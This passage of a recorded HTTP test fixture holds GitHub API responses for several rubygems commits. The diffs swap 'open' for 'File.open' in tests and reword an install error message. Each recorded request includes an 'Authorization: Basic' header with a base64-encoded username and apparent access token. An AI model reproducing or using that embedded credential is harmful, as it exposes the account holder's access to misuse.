''w'' do |io|\n+ File.open @lock_file, ''w'' do |io|\n io.write lockfile\n end\n end\n@@ -387,7 +387,7 @@ def test_to_s_git\n s.add_dependency ''c'', ''~> 1.0''\n end\n \n- open ''b.gemspec'', ''w'' do |io|\n+ File.open ''b.gemspec'', ''w'' do |io|\n io.write b.to_ruby\n end\n \n@@ -400,7 +400,7 @@ def test_to_s_git\n Dir.chdir ''c'' do\n c = Gem::Specification.new ''c'', 1\n \n- open ''c.gemspec'', ''w'' do |io|\n+ File.open ''c.gemspec'', ''w'' do |io|\n io.write c.to_ruby\n end\n \n@@ -455,7 +455,7 @@ def test_write_error\n \n gem_deps_lock_file = \"#{@gem_deps_file}.lock\"\n \n- open gem_deps_lock_file, ''w'' do |io|\n+ File.open gem_deps_lock_file, ''w'' do |io|\n io.write ''hello''\n end\n "},{"sha":"f3517da43a7d5d47541ec538fae195da59e90313","filename":"test/rubygems/test_gem_request_set_lockfile_parser.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_request_set_lockfile_parser.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_request_set_lockfile_parser.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_request_set_lockfile_parser.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -536,7 +536,7 @@ def test_parse_missing\n end\n \n def write_lockfile lockfile\n- open @lock_file, ''w'' do |io|\n+ File.open @lock_file, ''w'' do |io|\n io.write lockfile\n end\n end"},{"sha":"f4aba6d94ac178caa189881c1b2a56e27d00ff86","filename":"test/rubygems/test_gem_request_set_lockfile_tokenizer.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_request_set_lockfile_tokenizer.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_request_set_lockfile_tokenizer.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_request_set_lockfile_tokenizer.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -295,7 +295,7 @@ def test_unget\n end\n \n def write_lockfile lockfile\n- open @lock_file, ''w'' do |io|\n+ File.open @lock_file, ''w'' do |io|\n io.write lockfile\n end\n end"},{"sha":"211757eb204aaf1aaca810a516769816ef6d000d","filename":"test/rubygems/test_gem_resolver_git_specification.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_resolver_git_specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_resolver_git_specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_resolver_git_specification.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -70,7 +70,7 @@ def test_install_extension\n Dir.chdir ''git/a'' do\n FileUtils.mkdir_p ''ext/lib''\n \n- open ''ext/extconf.rb'', ''w'' do |io|\n+ File.open ''ext/extconf.rb'', ''w'' do |io|\n io.puts ''require \"mkmf\"''\n io.puts ''create_makefile \"a\"''\n end"},{"sha":"b5c025e6941cfbbafe3c68bcd46a09b9268fc7ec","filename":"test/rubygems/test_gem_server.rb","status":"modified","additions":4,"deletions":4,"changes":8,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_server.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_server.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_server.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -100,7 +100,7 @@ def test_latest_specs_gemdirs\n specs_dir = File.join dir, ''specifications''\n FileUtils.mkdir_p specs_dir\n \n- open File.join(specs_dir, spec.spec_name), ''w'' do |io|\n+ File.open File.join(specs_dir, spec.spec_name), ''w'' do |io|\n io.write spec.to_ruby\n end\n \n@@ -198,7 +198,7 @@ def test_quick_gemdirs\n \n FileUtils.mkdir_p specs_dir\n \n- open File.join(specs_dir, spec.spec_name), ''w'' do |io|\n+ File.open File.join(specs_dir, spec.spec_name), ''w'' do |io|\n io.write spec.to_ruby\n end\n \n@@ -339,7 +339,7 @@ def test_root_gemdirs\n specs_dir = File.join dir, ''specifications''\n FileUtils.mkdir_p specs_dir\n \n- open File.join(specs_dir, spec.spec_name), ''w'' do |io|\n+ File.open File.join(specs_dir, spec.spec_name), ''w'' do |io|\n io.write spec.to_ruby\n end\n \n@@ -378,7 +378,7 @@ def test_specs_gemdirs\n specs_dir = File.join dir, ''specifications''\n FileUtils.mkdir_p specs_dir\n \n- open File.join(specs_dir, spec.spec_name), ''w'' do |io|\n+ File.open File.join(specs_dir, spec.spec_name), ''w'' do |io|\n io.write spec.to_ruby\n end\n "},{"sha":"8805a9b40455e279d5e3b01e3ea749520ac27c13","filename":"test/rubygems/test_gem_source.rb","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_source.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_source.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_source.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -110,7 +110,7 @@ def test_fetch_spec_cached\n \n cache_file = File.join cache_dir, a1.spec_name\n \n- open cache_file, ''wb'' do |io|\n+ File.open cache_file, ''wb'' do |io|\n Marshal.dump a1, io\n end\n \n@@ -163,7 +163,7 @@ def test_load_specs_cached\n \n cache_file = File.join cache_dir, \"latest_specs.#{Gem.marshal_version}\"\n \n- open cache_file, ''wb'' do |io|\n+ File.open cache_file, ''wb'' do |io|\n Marshal.dump latest_specs, io\n end\n \n@@ -187,7 +187,7 @@ def test_load_specs_cached_empty\n \n cache_file = File.join cache_dir, \"latest_specs.#{Gem.marshal_version}\"\n \n- open cache_file, ''wb'' do |io|\n+ File.open cache_file, ''wb'' do |io|\n # Setup invalid data in the cache:\n io.write Marshal.dump(latest_specs)[0, 10]\n end"},{"sha":"8f5d3ee745747fad55d6f9166d9341e79fb6d064","filename":"test/rubygems/test_gem_source_git.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_source_git.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_source_git.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_source_git.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -229,7 +229,7 @@ def test_specs\n Dir.chdir ''b'' do\n b = Gem::Specification.new ''b'', 1\n \n- open ''b.gemspec'', ''w'' do |io|\n+ File.open ''b.gemspec'', ''w'' do |io|\n io.write b.to_ruby\n end\n "},{"sha":"8d4e5163a9e3e8a3af242a91ce559eee7b81b21b","filename":"test/rubygems/test_gem_specification.rb","status":"modified","additions":16,"deletions":16,"changes":32,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_specification.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -922,7 +922,7 @@ def test_self_load\n end\n \n def test_self_load_relative\n- open ''a-2.gemspec'', ''w'' do |io|\n+ File.open ''a-2.gemspec'', ''w'' do |io|\n io.write @a2.to_ruby_for_cache\n end\n \n@@ -1111,7 +1111,7 @@ def test_self_remove_spec\n end\n \n def test_self_remove_spec_removed\n- open @a1.spec_file, ''w'' do |io|\n+ File.open @a1.spec_file, ''w'' do |io|\n io.write @a1.to_ruby\n end\n \n@@ -1363,13 +1363,13 @@ def test_build_args\n \n assert_empty @ext.build_args\n \n- open @ext.build_info_file, ''w'' do |io|\n+ File.open @ext.build_info_file, ''w'' do |io|\n io.puts\n end\n \n assert_empty @ext.build_args\n \n- open @ext.build_info_file, ''w'' do |io|\n+ File.open @ext.build_info_file, ''w'' do |io|\n io.puts ''--with-foo-dir=wherever''\n end\n \n@@ -1385,9 +1385,9 @@ def test_build_extensions\n extconf_rb = File.join @ext.gem_dir, @ext.extensions.first\n FileUtils.mkdir_p File.dirname extconf_rb\n \n- open extconf_rb, ''w'' do |f|\n+ File.open extconf_rb, ''w'' do |f|\n f.write <<-''RUBY''\n- open ''Makefile'', ''w'' do |f|\n+ File.open ''Makefile'', ''w'' do |f|\n f.puts \"clean:\\n\\techo clean\"\n f.puts \"default:\\n\\techo built\"\n f.puts \"install:\\n\\techo installed\"\n@@ -1435,9 +1435,9 @@ def test_build_extensions_default_gem\n extconf_rb = File.join spec.gem_dir, spec.extensions.first\n FileUtils.mkdir_p File.dirname extconf_rb\n \n- open extconf_rb, ''w'' do |f|\n+ File.open extconf_rb, ''w'' do |f|\n f.write <<-''RUBY''\n- open ''Makefile'', ''w'' do |f|\n+ File.open ''Makefile'', ''w'' do |f|\n f.puts \"default:\\n\\techo built\"\n f.puts \"install:\\n\\techo installed\"\n end\n@@ -1469,9 +1469,9 @@ def test_build_extensions_extensions_dir_unwritable\n extconf_rb = File.join @ext.gem_dir, @ext.extensions.first\n FileUtils.mkdir_p File.dirname extconf_rb\n \n- open extconf_rb, ''w'' do |f|\n+ File.open extconf_rb, ''w'' do |f|\n f.write <<-''RUBY''\n- open ''Makefile'', ''w'' do |f|\n+ File.open ''Makefile'', ''w'' do |f|\n f.puts \"clean:\\n\\techo clean\"\n f.puts \"default:\\n\\techo built\"\n f.puts \"install:\\n\\techo installed\"\n@@ -1502,9 +1502,9 @@ def test_build_extensions_no_extensions_dir_unwritable\n extconf_rb = File.join @ext.gem_dir, @ext.extensions.first\n FileUtils.mkdir_p File.dirname extconf_rb\n \n- open extconf_rb, ''w'' do |f|\n+ File.open extconf_rb, ''w'' do |f|\n f.write <<-''RUBY''\n- open ''Makefile'', ''w'' do |f|\n+ File.open ''Makefile'', ''w'' do |f|\n f.puts \"clean:\\n\\techo clean\"\n f.puts \"default:\\n\\techo built\"\n f.puts \"install:\\n\\techo installed\"\n@@ -1551,9 +1551,9 @@ def test_build_extensions_preview\n extconf_rb = File.join @ext.gem_dir, @ext.extensions.first\n FileUtils.mkdir_p File.dirname extconf_rb\n \n- open extconf_rb, ''w'' do |f|\n+ File.open extconf_rb, ''w'' do |f|\n f.write <<-''RUBY''\n- open ''Makefile'', ''w'' do |f|\n+ File.open ''Makefile'', ''w'' do |f|\n f.puts \"clean:\\n\\techo clean\"\n f.puts \"default:\\n\\techo built\"\n f.puts \"install:\\n\\techo installed\"\n@@ -3418,9 +3418,9 @@ def test_missing_extensions_eh\n extconf_rb = File.join @ext.gem_dir, @ext.extensions.first\n FileUtils.mkdir_p File.dirname extconf_rb\n \n- open extconf_rb, ''w'' do |f|\n+ File.open extconf_rb, ''w'' do |f|\n f.write <<-''RUBY''\n- open ''Makefile'', ''w'' do |f|\n+ File.open ''Makefile'', ''w'' do |f|\n f.puts \"clean:\\n\\techo clean\"\n f.puts \"default:\\n\\techo built\"\n f.puts \"install:\\n\\techo installed\""},{"sha":"f9a3a236c0878e86575c3fd8a2fafea3df8fff8f","filename":"test/rubygems/test_gem_stub_specification.rb","status":"modified","additions":7,"deletions":7,"changes":14,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_stub_specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_stub_specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_stub_specification.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -127,9 +127,9 @@ def test_missing_extensions_eh\n extconf_rb = File.join s.gem_dir, s.extensions.first\n FileUtils.mkdir_p File.dirname extconf_rb\n \n- open extconf_rb, ''w'' do |f|\n+ File.open extconf_rb, ''w'' do |f|\n f.write <<-''RUBY''\n- open ''Makefile'', ''w'' do |f|\n+ File.open ''Makefile'', ''w'' do |f|\n f.puts \"clean:\\n\\techo clean\"\n f.puts \"default:\\n\\techo built\"\n f.puts \"install:\\n\\techo installed\"\n@@ -149,7 +149,7 @@ def test_missing_extensions_eh_default_gem\n spec = new_default_spec ''default'', 1\n spec.extensions << ''extconf.rb''\n \n- open spec.loaded_from, ''w'' do |io|\n+ File.open spec.loaded_from, ''w'' do |io|\n io.write spec.to_ruby_for_cache\n end\n \n@@ -198,7 +198,7 @@ def test_to_spec_missing_extensions\n \n def stub_with_version\n spec = File.join @gemhome, ''specifications'', ''stub_e-2.gemspec''\n- open spec, ''w'' do |io|\n+ File.open spec, ''w'' do |io|\n io.write <<-STUB\n # -*- encoding: utf-8 -*-\n # stub: stub_v 2 ruby lib\n@@ -221,7 +221,7 @@ def stub_with_version\n \n def stub_without_version\n spec = File.join @gemhome, ''specifications'', ''stub-2.gemspec''\n- open spec, ''w'' do |io|\n+ File.open spec, ''w'' do |io|\n io.write <<-STUB\n # -*- encoding: utf-8 -*-\n # stub: stub_v ruby lib\n@@ -245,7 +245,7 @@ def stub_without_version\n \n def stub_with_extension\n spec = File.join @gemhome, ''specifications'', ''stub_e-2.gemspec''\n- open spec, ''w'' do |io|\n+ File.open spec, ''w'' do |io|\n io.write <<-STUB\n # -*- encoding: utf-8 -*-\n # stub: stub_e 2 ruby lib\n@@ -271,7 +271,7 @@ def stub_with_extension\n \n def stub_without_extension\n spec = File.join @gemhome, ''specifications'', ''stub-2.gemspec''\n- open spec, ''w'' do |io|\n+ File.open spec, ''w'' do |io|\n io.write <<-STUB\n # -*- encoding: utf-8 -*-\n # stub: stub 2 ruby lib"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:35 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/abc00f1ac9fef0b3d0bc552bd1710561685f9621 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:35 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4616' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"a2b9e544c24e44c523e6eab754e82d80" Last-Modified: - Fri, 05 Jan 2018 02:48:40 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.055722' X-Github-Request-Id: - A15A:4D95:F4789F:1C82C8C:5A50E457 body: encoding: ASCII-8BIT string: '{"sha":"abc00f1ac9fef0b3d0bc552bd1710561685f9621","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2018-01-05T02:48:40Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2018-01-05T02:48:40Z"},"message":"Fixed syntax error with ensure keyword with < Ruby 2.5","tree":{"sha":"9eab37fe0fb7fe64143b4b9a9407f4a64e4b49d3","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/9eab37fe0fb7fe64143b4b9a9407f4a64e4b49d3"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/abc00f1ac9fef0b3d0bc552bd1710561685f9621","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlpO54kACgkQ+c8TQXJk\n+sIs5Af/bqtdhxDiSCrTs5Wr/WqQ+vvREy/QC6Nw82wSj+J7z8UNMQ/71DtDswyB\nKxSLcvFjtf6nlc2uBsfFJZiyXV4rLRqC1BA18L+EKsUfKGNyJXUE741Q8II3vNSW\nhbuf3O03xTUtOnJ3+Q29wBl3HM4dgCyeeCYU/4KZp+yvqBvACimgCJk6qWEqiEQo\nvMgzeSJtY/q/hytVg9jrZsRdbWOZFb98Y5Lye1ZOGBp5oh2TRXpOoSHWpVoB9KLH\n5DTnllPiquGmPIZeufXRG0CSW3pdHPkIfOD1zK7IroyntF4z/mp1Uk94H5TLffTI\npnC7nFre22IdqqgsxOwc71sTrezj9Q==\n=M74G\n-----END PGP SIGNATURE-----","payload":"tree 9eab37fe0fb7fe64143b4b9a9407f4a64e4b49d3\nparent 71b7c87f32deea6b4e9aaba23fd2638917c8ed2d\nauthor SHIBATA Hiroshi 1515120520 +0900\ncommitter SHIBATA Hiroshi 1515120520 +0900\n\nFixed syntax error with ensure keyword with < Ruby 2.5\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/abc00f1ac9fef0b3d0bc552bd1710561685f9621","html_url":"https://github.com/rubygems/rubygems/commit/abc00f1ac9fef0b3d0bc552bd1710561685f9621","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/abc00f1ac9fef0b3d0bc552bd1710561685f9621/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"71b7c87f32deea6b4e9aaba23fd2638917c8ed2d","url":"https://api.github.com/repos/rubygems/rubygems/commits/71b7c87f32deea6b4e9aaba23fd2638917c8ed2d","html_url":"https://github.com/rubygems/rubygems/commit/71b7c87f32deea6b4e9aaba23fd2638917c8ed2d"}],"stats":{"total":10,"additions":6,"deletions":4},"files":[{"sha":"735af7ad4560f7e6efa9eb6d1262bc080ac8aa39","filename":"test/rubygems/test_require.rb","status":"modified","additions":6,"deletions":4,"changes":10,"blob_url":"https://github.com/rubygems/rubygems/blob/abc00f1ac9fef0b3d0bc552bd1710561685f9621/test/rubygems/test_require.rb","raw_url":"https://github.com/rubygems/rubygems/raw/abc00f1ac9fef0b3d0bc552bd1710561685f9621/test/rubygems/test_require.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_require.rb?ref=abc00f1ac9fef0b3d0bc552bd1710561685f9621","patch":"@@ -70,10 +70,12 @@ def test_dash_i_beats_gems\n \n def create_sync_thread\n Thread.new do\n- yield\n- ensure\n- FILE_ENTERED_LATCH.release\n- FILE_EXIT_LATCH.await\n+ begin\n+ yield\n+ ensure\n+ FILE_ENTERED_LATCH.release\n+ FILE_EXIT_LATCH.await\n+ end\n end\n end\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:35 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/d487894c2e4f3ace75a11e91323c9aca6716d15a body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:35 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4615' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"d2861e6963c9351e71df21b16049cde9" Last-Modified: - Fri, 05 Jan 2018 01:28:44 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.041942' X-Github-Request-Id: - A15C:4D97:903433:1C46AAB:5A50E457 body: encoding: ASCII-8BIT string: '{"sha":"d487894c2e4f3ace75a11e91323c9aca6716d15a","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2018-01-05T01:28:44Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2018-01-05T01:28:44Z"},"message":"Auto merge of #2137 - rubygems:colby/improve-errors, r=hsbt\n\nImprove the error message given when using --version with multiple gems in the install command\n\nSet the error message to now be:\n\n Can''t use --version with multiple gems. You can specify multiple gems with\n version requirements using `gem install ''my_gem:1.0.0'' ''my_other_gem:~>2.0.0\n\nThis gives a more easily understood example of the argument format to\nuse in rubygems when installing multiple gems with versions constraints.\n\n______________\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"ec9436fba15995a4188baa546d1f35139035f911","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/ec9436fba15995a4188baa546d1f35139035f911"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/d487894c2e4f3ace75a11e91323c9aca6716d15a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/d487894c2e4f3ace75a11e91323c9aca6716d15a","html_url":"https://github.com/rubygems/rubygems/commit/d487894c2e4f3ace75a11e91323c9aca6716d15a","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/d487894c2e4f3ace75a11e91323c9aca6716d15a/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"6b4cbbba4955b37521afb4481d454211ca960271","url":"https://api.github.com/repos/rubygems/rubygems/commits/6b4cbbba4955b37521afb4481d454211ca960271","html_url":"https://github.com/rubygems/rubygems/commit/6b4cbbba4955b37521afb4481d454211ca960271"},{"sha":"69609048840b3844bbd9c0a21814d2511d2ee3ba","url":"https://api.github.com/repos/rubygems/rubygems/commits/69609048840b3844bbd9c0a21814d2511d2ee3ba","html_url":"https://github.com/rubygems/rubygems/commit/69609048840b3844bbd9c0a21814d2511d2ee3ba"}],"stats":{"total":6,"additions":4,"deletions":2},"files":[{"sha":"d8427402b0d1e37ced867469b1f18ead18b0cf63","filename":"lib/rubygems/commands/install_command.rb","status":"modified","additions":2,"deletions":1,"changes":3,"blob_url":"https://github.com/rubygems/rubygems/blob/d487894c2e4f3ace75a11e91323c9aca6716d15a/lib/rubygems/commands/install_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/d487894c2e4f3ace75a11e91323c9aca6716d15a/lib/rubygems/commands/install_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/install_command.rb?ref=d487894c2e4f3ace75a11e91323c9aca6716d15a","patch":"@@ -134,7 +134,8 @@ def check_install_dir # :nodoc:\n def check_version # :nodoc:\n if options[:version] != Gem::Requirement.default and\n get_all_gem_names.size > 1 then\n- alert_error \"Can''t use --version w/ multiple gems. Use name:ver instead.\"\n+ alert_error \"Can''t use --version with multiple gems. You can specify multiple gems with\" \\\n+ \" version requirments using `gem install ''my_gem:1.0.0'' ''my_other_gem:~>2.0.0''`\"\n terminate_interaction 1\n end\n end"},{"sha":"d684004e385d23e76ad35913e4621d3fb2d77dd7","filename":"test/rubygems/test_gem_commands_install_command.rb","status":"modified","additions":2,"deletions":1,"changes":3,"blob_url":"https://github.com/rubygems/rubygems/blob/d487894c2e4f3ace75a11e91323c9aca6716d15a/test/rubygems/test_gem_commands_install_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/d487894c2e4f3ace75a11e91323c9aca6716d15a/test/rubygems/test_gem_commands_install_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_install_command.rb?ref=d487894c2e4f3ace75a11e91323c9aca6716d15a","patch":"@@ -602,7 +602,8 @@ def test_execute_two_version\n \n assert_empty @cmd.installed_specs\n \n- msg = \"ERROR: Can''t use --version w/ multiple gems. Use name:ver instead.\"\n+ msg = \"ERROR: Can''t use --version with multiple gems. You can specify multiple gems with\" \\\n+ \" version requirments using `gem install ''my_gem:1.0.0'' ''my_other_gem:~>2.0.0''`\"\n \n assert_empty @ui.output\n assert_equal msg, @ui.error.chomp"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:35 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/6b4cbbba4955b37521afb4481d454211ca960271 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic 